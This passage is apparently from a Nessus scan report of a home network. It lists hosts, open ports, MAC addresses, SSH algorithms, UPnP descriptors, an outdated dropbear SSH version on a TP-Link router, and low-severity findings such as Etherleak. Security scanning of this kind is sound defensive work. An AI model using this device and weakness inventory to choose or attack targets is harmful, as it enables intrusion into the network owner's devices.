	SCPDURL: /ContentDirectory/a87f7534-6657-65c8-ae14-751f8c16338d/scpd.xml
ServiceID: urn:upnp-org:serviceId:ConnectionManager
	serviceType: urn:schemas-upnp-org:service:ConnectionManager:1
	controlURL: /ConnectionManager/a87f7534-6657-65c8-ae14-751f8c16338d/control.xml
	eventSubURL: /ConnectionManager/a87f7534-6657-65c8-ae14-751f8c16338d/event.xml
	SCPDURL: /ConnectionManager/a87f7534-6657-65c8-ae14-751f8c16338d/scpd.xml
										None								2/19/09		6/12/20

		45590						None		192.168.0.11		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
Following application CPE matched on the remote system :

  cpe:/a:openbsd:openssh:8.2
										None								4/21/10		9/30/20

		54615						None		192.168.0.11		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 85
										None								5/23/11		5/23/11

		70657						None		192.168.0.11		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  curve25519-sha256
  curve25519-sha256@libssh.org
  diffie-hellman-group-exchange-sha256
  diffie-hellman-group14-sha256
  diffie-hellman-group16-sha512
  diffie-hellman-group18-sha512
  ecdh-sha2-nistp256
  ecdh-sha2-nistp384
  ecdh-sha2-nistp521

The server supports the following options for server_host_key_algorithms : 

  ecdsa-sha2-nistp256
  rsa-sha2-256
  rsa-sha2-512
  ssh-ed25519
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  aes128-ctr
  aes128-gcm@openssh.com
  aes192-ctr
  aes256-ctr
  aes256-gcm@openssh.com
  chacha20-poly1305@openssh.com

The server supports the following options for encryption_algorithms_server_to_client : 

  aes128-ctr
  aes128-gcm@openssh.com
  aes192-ctr
  aes256-ctr
  aes256-gcm@openssh.com
  chacha20-poly1305@openssh.com

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-sha1
  hmac-sha1-etm@openssh.com
  hmac-sha2-256
  hmac-sha2-256-etm@openssh.com
  hmac-sha2-512
  hmac-sha2-512-etm@openssh.com
  umac-128-etm@openssh.com
  umac-128@openssh.com
  umac-64-etm@openssh.com
  umac-64@openssh.com

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-sha1
  hmac-sha1-etm@openssh.com
  hmac-sha2-256
  hmac-sha2-256-etm@openssh.com
  hmac-sha2-512
  hmac-sha2-512-etm@openssh.com
  umac-128-etm@openssh.com
  umac-128@openssh.com
  umac-64-etm@openssh.com
  umac-64@openssh.com

The server supports the following options for compression_algorithms_client_to_server : 

  none
  zlib@openssh.com

The server supports the following options for compression_algorithms_server_to_client : 

  none
  zlib@openssh.com
										None								10/28/13		8/28/17

		86420						None		192.168.0.11		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 32:8F:9E:D7:3B:45
										None								10/16/15		5/13/20

		110723						None		192.168.0.11		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.11		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10114		CVE-1999-0524		0		None		192.168.0.14		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.14		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.14 : 
192.168.0.35
192.168.0.14

Hop Count: 1
										None								11/27/99		8/20/20

		11219						None		192.168.0.14		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.14		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		12053						None		192.168.0.14		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.14 resolves as amazon-9ee13af0a.
										None								2/11/04		4/14/17

		19506						None		192.168.0.14		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 201 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.14		tcp		9080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.14		tcp		9080		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 204 No Content 


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/plain
  Date: Thu, 5 Nov 2020 18:11:36 GMT
  Connection: keep-alive
  Content-Length: 17
  
Response Body :

POST BODY MISSING										None								1/30/07		11/22/19

		25220						None		192.168.0.14		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35716						None		192.168.0.14		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

40:B4:CD:18:D0:8B : Amazon Technologies Inc.
										None								2/19/09		5/13/20

		45590						None		192.168.0.14		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		54615						None		192.168.0.14		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		86420						None		192.168.0.14		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 40:B4:CD:18:D0:8B
										None								10/16/15		5/13/20

		12053						None		192.168.0.15		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.15 resolves as DESKTOP-7FAM0HP.
										None								2/11/04		4/14/17

		19506						None		192.168.0.15		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 475 sec
										None								8/26/05		8/27/20

		86420						None		192.168.0.15		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 8A:20:7D:FB:7E:1A
										None								10/16/15		5/13/20

		10114		CVE-1999-0524		0		None		192.168.0.16		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.16		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.16 : 
192.168.0.35
192.168.0.16

Hop Count: 1
										None								11/27/99		8/20/20

		11197		CVE-2003-0001		3.3		Low		192.168.0.16		icmp		0		Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)		The remote host appears to leak memory in network packets.		The remote host uses a network device driver that pads ethernet frames
with data which vary from one packet to another, likely taken from
kernel memory, system memory allocated to the device driver, or a
hardware buffer on its network interface card.

Known as 'Etherleak', this information disclosure vulnerability may
allow an attacker to collect sensitive information from the affected
host provided he is on the same physical subnet as that host.		Contact the network device driver's vendor for a fix.		http://www.nessus.org/u?719c90b4		
Padding observed in one frame :

  0x00:  26 99 A1 00 00 00 00 00 00 00 00 00 00 00 00 00    &...............
  0x10:  00                                                 .               
  
Padding observed in another frame :

  0x00:  30 5F 1A 00 00 00 00 00 00 00 00 00 00 00 00 00    0_..............
  0x10:  00                                                 .
						2.6				Low		6535						1/14/03		3/6/19

		12053						None		192.168.0.16		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.16 resolves as amazon-f8b4ebb59.
										None								2/11/04		4/14/17

		19506						None		192.168.0.16		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 90 sec
										None								8/26/05		8/27/20

		35716						None		192.168.0.16		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

68:DB:F5:44:89:94 : Amazon Technologies Inc.
										None								2/19/09		5/13/20

		86420						None		192.168.0.16		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 68:DB:F5:44:89:94
										None								10/16/15		5/13/20

		10114		CVE-1999-0524		0		None		192.168.0.19		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -2 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.19		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.19 : 
192.168.0.35
192.168.0.19

Hop Count: 1
										None								11/27/99		8/20/20

		10829						None		192.168.0.19		udp		1900		UPnP Client Detection		This machine is a UPnP client.		This machine answered to a unicast UPnP NOTIFY packet by trying to
fetch the XML description that Nessus advertised.		n/a														None								12/29/01		3/6/19

		11219						None		192.168.0.19		tcp		8009		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8009/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.19		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		12053						None		192.168.0.19		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.19 resolves as amazon-f043041d8.
										None								2/11/04		4/14/17

		19506						None		192.168.0.19		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 208 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.19		tcp		8009		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.19		tcp		8009		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 400 Bad Request 


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/plain
  Date: Thu, 5 Nov 2020 18:12:02 GMT
  Connection: keep-alive
  Content-Length: 23
  
Response Body :

Error 400, Bad Request.										None								1/30/07		11/22/19

		25220						None		192.168.0.19		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.19		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.19:60000/upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/desc

And advertises these unique service names :

    uuid:795fa6e5-756a-327d-ba8d-6ae6a6b2a911::upnp:rootdevice

										None								2/19/09		9/12/18

		35712						None		192.168.0.19		tcp		60000		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.19:60000/upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/desc :

deviceType: urn:dial-multiscreen-org:device:dial:1
friendlyName: Poolhouse
manufacturer: Amazon
modelName: AEOCH
modelName: AEOCH
ServiceID: urn:dial-multiscreen-org:serviceId:dial
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: /upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/svc/dial-multiscreen-org/dial/action
	eventSubURL: /upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/svc/dial-multiscreen-org/dial/event
	SCPDURL: /upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/svc/dial-multiscreen-org/dial/desc
										None								2/19/09		6/12/20

		35716						None		192.168.0.19		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

F8:54:B8:83:AB:36 : Amazon Technologies Inc.
										None								2/19/09		5/13/20

		45590						None		192.168.0.19		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		54615						None		192.168.0.19		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		86420						None		192.168.0.19		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - F8:54:B8:83:AB:36
										None								10/16/15		5/13/20

		10107						None		192.168.0.2		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Router Webserver										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10267						None		192.168.0.2		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2012.55
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.2		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.2 : 
192.168.0.35
192.168.0.2

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.2		tcp		80		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				
The following body tag will be used :
><script language="javaScript"window.parent.document.cookie="Authorization=;path=/";										None								4/28/00		6/12/20

		10881						None		192.168.0.2		tcp		22		SSH Protocol Versions Supported		A SSH server is running on the remote host.		This plugin determines the versions of the SSH protocol supported by
the remote SSH daemon.		n/a				The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
										None								3/6/02		2/18/20

		11026						None		192.168.0.2		tcp		0		Wireless Access Point Detection		The remote host is a wireless access point.		Nessus has determined that the remote host is a wireless access point
(AP).

Ensure that proper physical and logical controls are in place for its
use. A misconfigured access point may allow an attacker to gain access
to an internal network without being physically present on the
premises. If the access point is using an 'off-the-shelf'
configuration (such as 40 or 104 bit WEP encryption), the data being
passed through the access point may be vulnerable to hijacking or
sniffing.		n/a				
Nessus has determined that this device is an access point based on a
phrase found on the server's default web page. That is, Nessus
maintains a list of commonly-used technical phrases which can be
associated with wireless technologies. When Nessus encounters these
phrases during a scan, a determination is made regarding the nature of
the device. The exact phrase which Nessus flagged on is :

  ealm="TP-LINK Wireless Dual Band 
										None								6/9/02		6/12/20

		11219						None		192.168.0.2		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.2		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.2		tcp		1900		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1900/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.2		tcp		20005		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 20005/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.2		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : TP-LINK Archer C7 2.0
Confidence level : 100
Method : UPnP

 
The remote host is running TP-LINK Archer C7 2.0										None								12/9/03		3/9/20

		19506						None		192.168.0.2		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
